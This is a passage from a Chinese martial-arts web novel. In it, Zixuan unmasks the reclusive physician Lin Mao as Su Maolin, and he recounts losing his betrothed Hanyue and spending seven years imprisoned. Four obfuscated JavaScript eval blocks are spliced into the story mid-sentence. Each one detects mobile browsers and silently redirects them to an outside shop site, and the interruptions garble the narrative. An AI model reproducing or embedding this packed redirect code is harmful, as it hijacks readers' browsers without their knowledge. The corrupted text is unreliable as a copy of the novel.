“也不是。爹爹只说,孕妇身体太虚,要这个孩子就等于要了她的命。他便问阿虎哥,是孩子重要呀还是老婆重要?让他想好了来找他。大虎哥想了一晚上,第二天天不亮就来敲门,哭着喊着要他务必救一救阿芳姐。” 瑾瑜看她说得欢快,知道故事还没讲完:“就这样?那后来呢?” “爹爹说,虽说怀着孩子母体会受损,但是阿芳姐已经怀胎七个月了,如果强行堕胎,极有可能一尸两命,还是不行。他虽然嘴上说不能治了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689714|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其实头天晚上看了一晚上医术,一直在想办法。阿虎哥来了之后,他便马上上山采药,准备试一试。” “所以他最终找到了可行的办法?” “说起来简单,就是先用滋补气血的方子尽量帮阿芳姐稳住胎像,多撑一两个月,等到胎儿再大些比较安全了之后再行引产,就能同时保住两条性命。还算大虎哥命好,最后真叫爹爹办到了。就是孩子不足月,生出来又废了一番周折。” “前辈也真是的,既然不是真的走投无路,为什么还要吓唬人家?” 思瑶笑道:“所以说爹爹古怪嘛。他最喜欢把话说到头,嘴里没几句好听的。刚开始的时候村里人没有不讨厌他的,但是日子久了,大家都知道他就是这么个脾气,也就不和他计较了。” “全村人只能指望他一个大夫,最近几日,你和前辈真是忙坏了。” “是啊,一到这个时候,山里面的人最容易得病,爹爹总是忙不过来。不过也好,爹爹忙着,就不会想那些烦心事了。” “哦?前辈有什么烦心的事情吗?” “基本上都只和他的妻子有关。爹爹一想起她,就躲在屋子里不出来,也不知道在里面干什么。我看别家爹爹生气难过的时候都会喝喝酒,要不就骂骂人,他就只会把自己关起来。” “那你呢?你和前辈相依为命,可会去安慰他?” “小的时候我可不敢。这些年稍微懂些事了,也试过去安慰爹爹。有些时候他只说‘我还不懂’,就让我出去;有时候也会和我讲讲他妻子的事情。” “莫不是,前辈的爱妻已经去世了?”瑾瑜继续试探。 “是啊,所以爹爹才这样怀念她。现在想来,那就应该是紫璇姐姐的妈妈吧。哎呀……”思瑶心思单纯,说着说着就把秘密当作闲谈吐露出来,但出口的瞬间马上意识到自己失言,于是便立刻闭上了嘴巴。 “这是什么意思?!前辈的妻子怎么会是璇儿的母亲?”惊骇之下,瑾瑜已然变了声调,干活的手也停了下来。 思瑶扭捏着说了实话:“我也是刚刚知道的……瑾瑜哥哥,你可千万别在爹爹面前提起,不然他一定生好大的气。” “这我当然知道。”瑾瑜尽可能平静下来,示意她继续说下去。 “就是你和紫璇姐姐刚来我家那天。你们走后,爹爹就像是失了魂似的,又跑回房间把自己关起来。我跟过去,向他问起那枚玉佩,爹爹才告诉我那是他送给自己心爱的女子的礼物,也就是紫璇姐姐的妈妈。” “……” “而且,爹爹开始时说得那么坚决,怎么都不肯救她。可后来不但救了人,还几天没合眼地照顾紫璇姐姐呢。如果不是为了自己过去的那份情谊,又是为什么呢。” 瑾瑜缓缓点了点头,仍旧没有说话。 思瑶看着他,天真问道:“瑾瑜哥哥,你说,喜欢一个人真的能喜欢那么久、那么深吗?爹爹住在这山里,少说也有十年,这十年间与他喜欢的女子不能相见,也不能说话。可是他还是会因为那个人而伤心,也会因为那个人而救仇人的女儿。” 瑾瑜笑笑:“你还小,等你大了,有了喜欢的人,自然就知道一旦爱上了就很难放开。” 没长大的孩子最不愿意听到的说辞之意便是自己还小,思瑶也不例外,于是她马上反驳道:“你们都说我小,我哪里小了,我都快十四岁了!” “那还不小?” “你!”气得思瑶直跺脚。 143. 确认(三) 紫璇和瑾瑜折了两根树枝当作剑比划,正在院中切磋剑法,林茂刚刚忙完,便停下来看他们二人拆招,借机留意紫璇的功夫。 只见瑾瑜右脚向前,屈膝落步,同时右手树枝从腰侧刺出,直逼紫璇手腕。紫璇不等他使出下半招,树枝从后向前撩起,将瑾瑜的剑从他胸隔开,一个转身后再度挺剑,将他全身都笼罩在树枝划出的圈子里。 瑾瑜也不示弱,疾刻退开一步,手中树枝借着紫璇的力道在头顶转了个小圈,一招“流觞曲水”,树枝顶端已到了她的右上方。只不过他并不想真得伤到紫璇,比正常使剑要高了半分。 紫璇抓住这个空子,持剑从上直劈下来,迫使瑾瑜后退连连,赶忙认输。 “我好心让着你,你怎么不留一点情面给我。”瑾瑜笑着说。 “谁叫你让着我了。公公正正地打,你都未必能赢。” 瑾瑜向不远处的林茂喊话:“前辈你看,她欺负我。” 林茂却没有半分笑意:“她的剑法确实比你好,你的反应也没她快,真要是动气手来,肯定打不过她。” 瑾瑜故意做出生气的样子:“不打了,我自己练。” 思瑶在一旁哈哈直笑:“瑾瑜哥哥,真看不出来你还有小孩子脾气呢。” “璇儿自幼就和文门主对垒实战,临场应变的经验自不必说,学得也都是上乘武功。我当然打不过,不如早些认输。” 听到文远骥的名字,林茂下意识地“哼”了一声。 瑾瑜接着说:“说不定林前辈能帮我杀杀她的锐气。” 林茂斜睨了他一眼:“说不定?” “是一定,一定。”瑾瑜立刻陪笑。 “哼。老夫在江湖上行走的时候还没有你们呢。” “小女也想见识一下前辈的剑法。”紫璇上前拱手,直勾勾的瞧着林茂。 林茂沉默半响,最后还是摆摆手:“你内力不稳,打你,胜之不武。” “不比内力,单轮剑法,前辈也不一定能胜过小女。” “你小瞧我?”林茂的好胜之心被激起。 “岂敢。为了不显得小女狂妄,不如咱们就约定二十招,前辈经验再老道,恐怕也很难在二十招之内就将我制服。” 林茂立刻回想起瑾瑜曾说过,紫璇独力胜过“辽东双霸”等人的话语。他心想,自己这些年来虽然练功不缀,自以为颇有进益,但终究没有和江湖上的高手对战过,于武林近况一概不知,拿她练练手也好。若真如瑾瑜所说,紫璇师承亲父,正好可借此探一探文远骥的深浅。 “何用二十招,老夫十招之内必定要你缴械投降。”说罢林茂便起身夺过瑾瑜手中的树枝,这一下起落,便见身手不凡。 林茂既知紫璇厉害,上手便是一些不好破解的招式。紫璇不慌不忙,一一将他的招式轻松拆去。五招过后,林茂没能能占到半点优势,不免有些心浮气躁。 紫璇见机,直刺林茂心口,林茂一惊,两臂一屈,已将剑收回护在胸前。紫璇并不穷追猛打,借势绕到林茂左侧,伺机而上。林茂刚刚救回一招,心道好险,忙收敛心神,沉着应战。 又拆了三招,还是难分伯仲。紫璇凝神,脚下动地迅捷无比,同时手中剑从右后向左前画个弧线,不料脚底虚浮,一个步子没有踩稳,身子便朝地下撞去。 瑾瑜本在一旁观战,不时将二人的招式说给思瑶知道,此时见情势疾变,立即飞身过去,左手拉起紫璇,将她推至场外,右手抓起紫璇手中的树枝,又和林茂拆起招来。 “好俊的身法!”林茂一面感叹,一面隔开瑾瑜递来的剑招。瑾瑜剑法不及紫璇凌厉,但比之初入江湖时已沉稳了许多,林茂和他对了五招才用一招“流星赶月”制住了瑾瑜右腕。 瑾瑜抱了一拳:“晚辈甘拜下风。” 林茂微微一笑:“小伙子底子不赖,就是不够熟练。” 他又仔细打量着紫璇,像是第一次见她似的:“以你这般年纪能练到如此境界,一定是下了不少苦功吧,文远骥野心不小啊。” 林茂清楚,如果不是紫璇气力尚未恢复,二十招之话只怕不是虚言。想到自己日后的报仇之路比预想的要艰难许多,他的心情便不那么好了。 紫璇却没有接他的话,极力控制住脸色,待到自己稍稍能够稳住时,已经换上了一副冷若冰霜的口吻:“苏师叔?我是不是该这样称呼前辈?” 林茂骤然变色,她竟然能这么快就猜出来!而思瑶则是一脸懵懂,不知道这位“苏师叔”说的是谁。 紫璇见他不语,便再一次用树枝做剑,比划出林茂刚刚所用的全部剑招,同时口诵招式的名称: “月晕而风、青云直上、闲云野鹤……;海底捞月、闭月羞花、流星赶月……” 林茂一动不动的看着,脸色越来越来越黑。原来她故意落败,就为了从旁仔细观察自己用了那些招式。 紫璇将他用过十五招全部使完,然后道:“这些招式全都出自天魄门的‘出云剑’和‘踏月剑’。” “那又怎样?”林茂胸口起伏,怒意逐渐升腾。 “这两路剑法,只有天魄门的嫡系弟子才可以修习。天魄门嫡传弟子不多,从年纪上看,你当与家父同辈,是师祖苏明启的弟子之一。” “二十几年前天魄门尚算繁盛,人丁复杂,你怎知我不是从哪位过去的嫡系子弟那里学了一招半式?” “若仅仅是招式,自然不难学,资质上佳的人但凭细心观察也能模拟个似模似样。可一个人从小受何种剑法套路的熏陶是刻在骨子里的,既不能伪装,也无法掩饰。适才前辈出招时,无一处扭捏刻意,招式与招式间衔接与转圜之势与天魄门嫡传武学一脉相承。如果说你是后来因着机缘才学得了这些招式,但凡是有经验的学武之人都不会信的。” “呵!”林茂从鼻子里发出一声轻蔑,不再辩解。 “师祖只有四位弟子,我爹和二师叔都在门中,三师叔又正想着各种办法对付天魄门,只有四师叔,也就是师祖的亲子自二十年前夺门之变时就一直失踪。恰好,他的名字便叫做‘苏茂霖’。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701622|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时隔十年,再次听到这个久违的名字,就连林茂自己都觉得十分陌生。心酸和冤屈渐渐盖过最初的恼怒与怨恨,他闭上眼睛,努力将复杂的情绪压下,才没有在仇人和小辈面前失态。 “你到底想说什么。”再睁开眼睛时,林茂的脸上唯余黯然。 紫璇走到他面前敛衣下拜:“晚辈多蒙前辈照拂,才捡回一条命。这份救命之恩自当没齿难忘,设法报之万一。但如果前辈将家父认作仇人,欲除之后快,请恕我不能助您分毫。” 听到现在,思瑶仍然不知道发生了什么,但听紫璇说起爹爹和她父亲之间的仇怨,哪怕她是十几岁的孩子、哪怕紫璇的语气平静,思瑶也嗅到了一丝紧张的气味,急忙看向瑾瑜。瑾瑜轻轻摇头,示意她不要插言。 “前辈口口声声说,家父与你有‘杀父之仇、夺妻之恨’,涉及到天魄门及晚辈近亲,我不得不问。”紫璇起身,语气不卑不亢。 林茂的猛地看向紫璇,目光冷冽如刀。 紫璇毫不躲闪,也直视着他:“关于师祖的死,是有一些江湖人不明所以,便牵强附会,将其推到了家父身上。晚辈虽然生得晚,并不清楚其中内情,但我可以保证,家父绝对做不出弑杀亲师谋夺大位的事情。” “哼!你是谁?你凭什么替他保证!”林茂重重斥道。 “前辈说的对,我是他的女儿,替他说话自然很难取信于人。但师祖离世之际尚有他人在侧,师祖因何而死,家父是否下过黑手,前辈若有怀疑,大可以找知道实情的人过问,光靠道听途说和无端揣测,如何能确信就是真相?。 “知道实情的人是谁?!”林茂眼中精光大盛,急切问道。 “师祖的夫人许淑平,还有师祖座下的左护法贺家庄贺永诏。” 提及许淑平时,林茂还想出口质疑,可听到贺永诏的名字,他却不言语了,想必在他心目中贺永诏更为可靠。 “贺庄主虽已过世,但曾留下一封亲笔书信,上面详细说明了师祖死前发生的事情。如果家父真有不轨之举,身为门主心腹,贺庄主不可能毫无怀疑。也就绝不会在将死之际,将事关天魄门将来的真情告知师祖夫人和身为新任门主的家父。” 紫璇娓娓道来,林茂的眼神也不如之前那么锋利,没有再多质疑追问。 “至于‘夺妻之恨’,晚辈百思不得其解,还请前辈能为我解惑。” 说到第二件事,紫璇的语调转为恳切,目光之中也闪出泪意。 林茂定定地瞧着她,仿佛想从她身上找出当年之人的影子,良久,才幽幽叹道:“你的眉眼虽然像她,可动起来还是和她不一样。”停了一会儿,又加上一句:“你的性子也不如她和煦温柔……“ 他朝思瑶招招手:“今日怕是有好多话要说,你去要一壶酒来,我想喝一点。” 思瑶答应着去了,临走时又看了一眼相对而立的林茂和紫璇。 林茂示意余下两人跟自己进屋:“这些陈年旧事,本就没什么好隐瞒的,你要是想知道,告诉你便是。” 144. 旧怨(一) 思瑶拿了酒进来,林茂自己斟了一碗喝下,眼睛也从紫璇身上挪开,自言自语一般说道:“这些年来我很少喝酒,就是怕自己意志消沉,忘记仇恨,忘记晗月是怎么死的。” 紫璇动了一下,瑾瑜忙牵住她的手。 “我要让这仇一直揪着我的心,啃噬我的每一寸肌肤,让我无论如何都不会忘记我还有大仇未报!”林茂说罢,又仰脖将新倒的酒一饮而尽。 思瑶从来没有见过这样的林茂,心中越发害怕,可是她更怕爹爹伤心,便挪近些,守在他身边。 “晗月是我的妻子,就算我们还没有正式成婚,我对她的情意在天魄门中也是无人不晓。如果不是文远骥搅动风云,晗月怎么会离我而去,怎么会……” 林茂说到一半,又仰头干了一碗酒。然后才定了定神,开始从最初遇到晗月讲起。 “第一次见晗月,好像是一个蒙蒙的烟雨天,她撑着一把江南常见的油纸伞,上面画着点点桃花,从牌坊那里一步步拾级而上。虽然看不见她的脸,但我的心已经被这副景象勾去了。 “晗月被接来太白山的时候还不足十五岁,父亲的几个弟子中我与她年纪最为接近,也还没有被父亲派外面的差事,是以有很多机会可以赖在她身边。一来二去,我们就成了无话不说的好朋友。她性子安静,只喜欢弹琴和侍弄花草。我就每天听她弹琴,看她给花儿浇水、修剪枝叶,日子过得安稳又美好。 “时日一长,门中几乎所有人都看出来我的心在她身上。父亲听说我们两情相悦也甚是欢喜,还作主说,等晗月过了十六岁生日,就让我们成婚。我盼星星盼月亮就等着那一天的到来,可谁知……” 他顿住片刻,又换了另一件事来讲。 “晗月身子骨弱,一年中有三四个月总是病着。有一回她发了高热,门中的医者尽皆束手无策,我无奈,只得带着她求到许淑平那里。许淑平是我爹的续弦,为人冷漠,自视甚高,嫁过来后与我一向不太亲近。我惦念亡母,不满父亲在她离世不足半年之时就迎娶新妇,故而也极少和她见面。 “可那一次,我实在没有更好的办法,听人说许淑平未出阁时就和自己的师兄弟一起研习医术,实力不容小觑,我再不愿意对她低三下四,为了晗月也得先放下我的怨怼。 “许淑平果然高明,晗月在她那里一日好似一日。这之后,晗月一有不舒服就会去找她。二人越来越亲近,我也不免多去了她那里几次,偶尔听她讲论医道和武学,也总是颇有收获。慢慢的,我对她的防备之心就没有那么严重,遇到为难之事也会寻求她的建议。 “我爹死前一年,许淑平不知道从哪里听说了什么,告诉我晗月将有危险,叫我带着她赶紧避离太白山,最要紧的是躲开我爹的耳目,千万不能被他找到。我不敢轻易相信,尚在犹豫之中,当天晚上的确有人来传我爹的命令,让晗月单独去见他。 “我放心不下,便闯入了他的书房,问他找晗月何事,却被他骂了出来。他还警告我,他要办的是令天魄门发扬光大、傲视武林的大事,叫我不要妇人之仁,为了一个女子婆婆妈妈,坏了他的大计。 “虽然不清楚他指的是什么,但他言语之间似乎把晗月当成了某种绝世的武功、或是什么延年益寿的神药,十分可怖。我不再多想,立刻和晗月匆匆收拾了一些银钱下山。“ “你的质问,恐怕已经会让令尊有所防备了吧?下山没有那么容易。”瑾瑜道。 “的确如此,我们刚出了门,就被爹派来的人围住了,多亏了晗月的一个朋友,我们才能顺利逃脱。” “太好了!”思瑶高兴地拍了一下手。 林茂却苦笑了一声:“螳螂捕蝉黄雀在后,我和晗月逃出太白山,自以为安全,可却忘了人心不足蛇吞象,我爹之外,还有另一人觊觎门主之位,觊觎晗月!” “她被人抓走了?!”瑾瑜猜。 林茂用力锤了一下桌面,酒碗砰得跳起又砰得落下,正如他此刻剧烈起伏的胸口。 “我们私奔在外,不免奔波劳累。晗月身子本来就不好,可她从来不抱怨,一直都硬撑着。直到有一天晚上,她不适得厉害,一整夜翻来覆去怎么都睡不好,第二天起来脸色难看的吓人。我虽然懂一点医术,但也只是跟着许淑平学了一点皮毛,根本不敢贸然医治。 “没有办法,我只好带着她去找大夫。那是个很小的镇子,只有一家药房兼作医馆。大夫只瞧了晗月一眼便说要去内厢仔细查看,并且不许我进去。我虽觉不妥,却因为顾忌晗月的病势没有反对。谁知过了许久,那个‘大夫’再也没有出来,大堂里的人也不知哪里去了。我心道不妙,忙冲入后堂,却哪里有半个人影。正当我发疯似得到每个房舍挨个儿寻找时,有人悄无声息地接近我,在我的头上猛击了一下。” “是谁?”瑾瑜问。 林茂摇了摇头,带着深深的懊悔:“他身法轻巧,又是从暗处袭击,我什么都没察觉到就晕过去了。” “那后来呢?前辈醒过来之后没有继续寻找吗?” “继续寻找?”林茂猛地看向紫璇,旋即又对着瑾瑜怒吼:“如果你是文远骥,会让我轻易逃脱,继续寻找晗月吗?” “无凭无据,凭什么说是我爹所为?”紫璇与他针锋相对。 瑾瑜也道:“还请前辈将后面发生的事一一道来,至于是何人所为,我们或许可从这些细节中发现端倪。” 林茂冷笑了几声,移开了目光,继续道:“我醒来后,就发现自己被关在了一个暗无天日的地牢里,喊天天不应、叫地地不灵!别说是晗月了,连半个人影都见不到!文远骥!文远骥……你好狠的心!” 说到激动处,他再一次锤向桌面,一条桌腿咔嚓断裂,酒坛酒碗沿着倾斜的桌面滑到地上,应声而碎,没喝完的酒撒了一地。 思瑶本来坐在林茂身边,被这一下吓得跳了起来,酒坛炸开的碎片四散飞出,瑾瑜展开轻功,将她一把拉开。天色渐黑,山风在窗外呼啸,弄得窗户咯咯作响。 林茂眼中迸发出熊熊恨意,谁都不敢贸然发话。最后还是思瑶走近他,抱住他落在桌上的拳头,低低唤了声:“爹爹。” 林茂回握住思瑶的手,颇感欣慰,点点头,继续说道:“我醒过来后,已经明白自己中了贼人的奸计。不仅让晗月落入其手,就连我自己也被关押了起来。我心急如焚,奈何那个地牢密不透风,只在一面墙的下面有一个小口,仅供饮食出入。我根本就没有逃出生天的可能…… “我仔仔细细摸过地牢中的每一寸地方,墙面和地底皆是夯土垒成,坚硬无比,以我个人之力根本无法推倒,砸开更是妄想。唯一的指望是每日给我送饭的洞口,但是那个洞实在太小,而送饭之人又十分仔细,每日只把碗筷推进来便立刻便洞门堵住。我每日吃完饭需把碗筷放在洞口,下次送饭的时候自会有人收走。 有一次,我故意把吃饭的碗放的稍远些,送饭那人第一次摸不着,便伸长胳膊了再摸,我伺机抓住他的手腕,稍稍使力,那人便痛的大叫,我问他这是什么地方,是谁指使他把我关在这里……” “他怎么说?” “那人是个哑子,只会咿咿呀呀地叫唤,一句话都说不出来。我拉住他手腕,他也丝毫不能反抗,显然是不会武功。 “当时我发了狂,拉住他的手死也不松开,他不说话,我就猛地扯住他,听到他的身子直挺挺地撞在石头墙上,发出咚咚咚的巨响,伴随着他闷闷的从喉咙里发出的喊叫。我也不管他的死活,只管死命地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715487|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉扯他,让他回答我,仿佛这么做能够减轻我的愤怒、我的不安……过了没多久,他的身子就软了下来,然后就再也没有声音了……” 思瑶两只手握住嘴巴,不敢相信自己听到的事情。 林茂顿了一下,又道:“也不知那人是死了还是伤了,再以后给我送饭的就换成了另外的人……” “这件事之后,我的神志清醒了不少,明白要想逃出去,就得稍安勿躁、等待时机。而在此之前,我的功夫绝不能落下,于是我就在牢中捡起了少年时所学的各项功夫。每日除了吃饭睡觉,就只有练功……还有当日许淑平劝我出逃时给我的一本医书,我实在练不动了,也会拿出那本书稍稍看两页。日子就这样一天天的过去,后来我虽然尝试过几次,也都没有办法从来人口中套出一星半点信息。我虽然心急如焚,却也是无可奈何,只能把功夫练得越来越熟,再做打算。 “可是机会不会轻易到来。我在那儿过了一天又一天,刚开始还能数着日子,可是到了后来,我已经不记得过了多久,不知道外面是何年何月,更加不知道晗月是生是死,久得让我觉得我可能一生都要在这牢中度过了。” 许久没有说话的紫璇,这时方开口道:“不过你终究还是逃出来了。” “当时我万念俱灰,觉得许久以来我都是活在自己幻想出来的前景之中。这里密不透风,外面必然也是障碍重重,要想逃出去谈何容易!晗月说不定也早就糟了毒手……什么练功、什么学医,只是我不敢想象最坏的结局,一直拿这样的借口安慰自己罢了……” 瑾瑜听着,心中闪现出自己在倪家庄地牢里的情形,他不过在那里困了十几日便那样困顿,林茂当时只会比自己惨上百倍千倍。 “……我一心求死,躺在地上一动不动,每日送来的饭菜也不吃,就等着哪天老天爷看不下去把我收去阴曹地府。说来也巧,那个地牢里中唯一的光源是壁上的一盏油灯,送饭的除了饭食每隔几天还会送灯芯灯油来。平日里我要么在灯下练武学医,要么在黑暗里调息筹划,从来也没往天上瞧过……” 紫璇了然:“四面没有出口,人却能近来,那么……” 林茂点头道:“你很聪明,可我当时却想不明白。我不吃不喝、也不理睬来人送来的灯油,没几日灯油燃尽,地牢就陷入了黑暗之中。或许是快死的人感觉格外灵敏吧,有一天我头脑放空,眼睛直勾勾地盯着上面,突然发现顶上似有一道缝隙,里面透出些微的光亮来,当时心念一转,已想到之前自己摸索四周的时候落下了什么。 “我挣扎着想起来一探究竟,却因为饿的太久,光是坐起来就已经眼冒金星,别说还要上去查看。我不能急,我得沉住气,又花了几天,好好吃饭,积攒力气……大概过了三日,趁送饭的收走碗筷,我才施展轻功,借着壁上放灯的架子跃上。左手持灯,右手牢牢地抓住顶上突出的石头,贴近了牢顶细细查看。如此几次之后,我发现牢顶实际上是由一块一块方石砌成的,天长日久,原本黏合方石的沙土被雨水冲刷,便出现了一些缝隙。” “我选了一块四周缝隙较大些的石头,用力推了一下,可它却纹丝不动。我仔细瞧了瞧,便有了计较,之后如常吃饭、练功。只不过当天手抖了一下,把碗给摔碎了……” “前辈是想用碎瓷片把石缝中的泥沙抠下来?”瑾瑜问。 “负责送饭的人没有发现么?”思瑶也问道。 “那人只是骂了一声,转身就走了,连碎掉的碗都没有收。估计是我关的时间久了,一直都没有试图逃跑,他们也不甚警觉了吧。 “石缝里填充的泥土颇有韧劲,我只得每日等收碗筷的人走掉后慢慢用碎瓷片一点一点地抠,也不知花了多长时间,那块石头终于松动了。” 145. 旧怨(二) “……也不知花了多长时间,那块石头终于松动了!” 一旁听着的思瑶也不禁发出了喜悦的叫声。 “……我偷偷试了一下,这块石头不是很重,以我当时的臂力可以推动。不过这地牢上面是什么情形、有多少人守在外面我一概不知,未免鲁莽失误,我又呆了几天,每日稍稍推开一点缝隙仔细观察。 “地牢上面似乎是个花园,从石头缝里能够看见郁郁葱葱的树木。偶尔还会有一两个人从上面经过。我一连观察了几天,发现园中往来的人不多,他们身上也没有任何武器,看步履也不像是会武之人。 “我猜想,地牢的看守应该都在花园外面,他们没有料到我会想着从上面逃脱,是以花园并没有作为防守的重点。这就给了我巨大的方便,一天夜里,花园中的灯熄了之后,我偷偷推开顶上那块石头,从上面爬了出去。 “一开始,我还像惊弓之鸟一般,伏在附近的树丛里一动都不敢动,直到确认确实无人经过,才敢起来朝四周张望。这里的确是个花园,地牢之外一丈远的地方就有水塘,连接着几处流水。这些水道似乎通向外面,我不会水,也怕入水惊起园中之人,便不敢从这里出去。 “不过借着当晚的月光,我用水面做镜子,终于知道当时我是何等的面目全非。” “面目全非?”对于思瑶来说,还很难想象一个人被关押在暗无天日的地方时间久了会怎么样。 “我的头发垂到了地上,胡子也长的不像样子,几缕灰白掺杂其间,眼窝深陷,面色无光,和一个疯子没有区别。” 思瑶惊叫:“爹爹,你被关了多久?” 林茂闭上眼睛,缓缓地吐出两个字:“七年”。 三个人同时望向林茂,惊讶到失语。林茂尚闭着眼,带着一抹凄苦兼愤恨的冷笑:“你们以为,所谓的血海深仇,只是我随口说说而已吗!” 思瑶撇着嘴,眼泪已经落到了胸襟上,正用手擦着。瑾瑜想象着人的一生能有多少个七年,不禁同情地望向林茂。 从紫璇的面上辨不出悲喜,过了一会,她才轻轻说道:“前辈被关在地牢达七年之久,的确骇人听闻。但关押你的人似乎并没有要害你性命的意思……” 林茂猛地睁开眼,怒气迸发而出:“怎么,他没有杀了我,我还要感激不成!” 紫璇依旧平静:“我没有要为其开脱的意思,我只是陈述事实。”说罢又盯着林茂瞪得如铜铃般的眼睛辩道,“况且,目前听来,你的遭遇和家父并没有半点关系,前辈何以坚持说这一切都是他的手笔?” 林茂将头猛地一偏,眼睛已离开紫璇:“哼!我当时也不知道是他,只是后来慢慢回想,才弄清楚了,谁要从我身边掳走晗月,谁最想让我不得自由……” 他如此执拗,紫璇和瑾瑜都不想再反驳,只好等他继续往下讲。 过了一段时间,林茂才稍稍平复心绪,又开始讲起来:“我在园子里小心走动,终于逮到一个半夜起来出恭的下人,将他扭住,让他给我寻了一把剪刀,再问明离这里最近的院墙在哪儿。之后就把他杀了……” “杀了!?”瑾瑜惊讶道:“无冤无仇,你怎么能随便杀人?” “无冤无仇?”林茂反问,“我被关在那里求生不得求死不能,你说我和他无冤无仇?!” “他只是园子里下人,连看守你的人都算不上。你的怨与仇,与他们有什么相干!?” 林茂无言以对,只能略过这件事,继续道:“总之,我知道自己这副模样出去一定极为显眼,便用剪刀将头发和胡子大致剪了剪。头发好说,一剪子下去截短了就行,胡子就只能先随便弄短些,仔细地只能等我逃出这里再做道理。然后我换上那人的衣服,溜至院墙翻了出去。” 听到这里,思瑶终于长长地舒了一口气。 “我不敢停留,立刻朝远处跑,能跑多远是多远。一直跑到第二天中午,才翻入一家人的院墙偷了些银钱。这之后我改头换面,也才敢往人多的地方去。当时我以为,最有可能抓走晗月的是我爹,所以我必须先确认天魄门的情况。我被抓之前天魄门还是武林中的翘楚,许多江湖人都投入了我爹的麾下,我本以为随便找个人就能问出天魄门的近况。 “哪知,那些人只知道天魄门的新门主是文远骥,而上一任门主已经在六年前暴毙而亡了!我对此难以置信,我爹正当盛年,平日里也没有什么隐疾,怎么会突然身亡?其中必有蹊跷。思来想去,我便去找了当时帮过我们的那位朋友,他家在江南,离我所在的地方不远。然而,他所说的和那些江湖人讲的并没有什么不同。 “他告诉我,我爹突发恶疾,没两天就撒手人寰。三师兄怀疑是文远骥害死了他企图自立,便联合我爹的几个心腹与之对垒,最后是许淑平力保他坐上了门主之位。而晗月,她在消失数月之后被文远骥找到,如今已经成了新的门主夫人!直到这个时候,文远骥才从重重迷雾中浮现出来,我也才突然明白过来,夺走紫璇、将我困住,究竟能让谁得利! 紫璇刚想开口,瑾瑜捏了捏她的手,紫璇明白他在提醒她多说无益,便把要出口的话咽了回去。 “文远骥是我爹的首徒,自幼跟随父亲,武功好,处理门中大小事也称得上得心应手,很多人都想当然地以为父亲会把门主之位传给他。我比他小好几岁,一直跟着他学武,关系向来不错。我知道他是我们兄弟几个中武功最高的,一直以来辅佐父亲居功甚伟,心里也情愿他来做这个门主。 “可是,晗月来了之后,他就和我渐渐疏远了。我看得出来,他也喜欢她,总是在无人处偷偷瞧着她。可他并没有什么逾矩的行动,晗月又一心只在我身上,当时我并没有在意。后来不知道什么原因,我爹好像也没有之前那么器重他了,一些要紧的差事都交给了三哥去办,文远骥反而常被派到外面,一走就是两三个月。也是从那时起,门主开始风言,文远骥不得门主欢心,下一任门主的人选恐怕要换人了。我年纪小,也从来不关心门中事,这些话我听过便算,从来也没有深想。 “后来他就突然成了婚,据说是我爹让人给他说的亲事。当时他早就过了二十岁,一直没有成亲,我爹催问了好几次,他都只说自己醉心武学,怕太早成婚耽误上进。呵呵,我也真是天真,竟然相信他的说辞。他无非是妄想着有朝一日自己成了门主,就能把晗月从我身边夺走罢了! “那时候我爹属意把晗月嫁给我,这才惹恼了他。眼看着晗月马上就到十六岁,将在我爹的主持下嫁于我为妻,他怎能不急?更可况我爹已经慢慢显露出对他的不喜,再拖下去,他连门主都要做不成了! “我从小长在我爹的庇护之下,他在武林中又名头极响,江湖上谁都会给我三分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721617|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面子,可这也导致我不知深浅、不懂这人心黑暗,对周围的人没有半点提防。当时虽然有人向我暗示,说他和我爹不是一条心,可我都未曾当作一回事。对我来说,门主之位毫无用处,我只要晗月,只要能和她长相厮守,谁做门主又有什么关系。苏茂霖阿苏茂霖,你虽无意,却挡不住别人有心。人家不仅要至高无上的地位,也要当世无双的佳人! 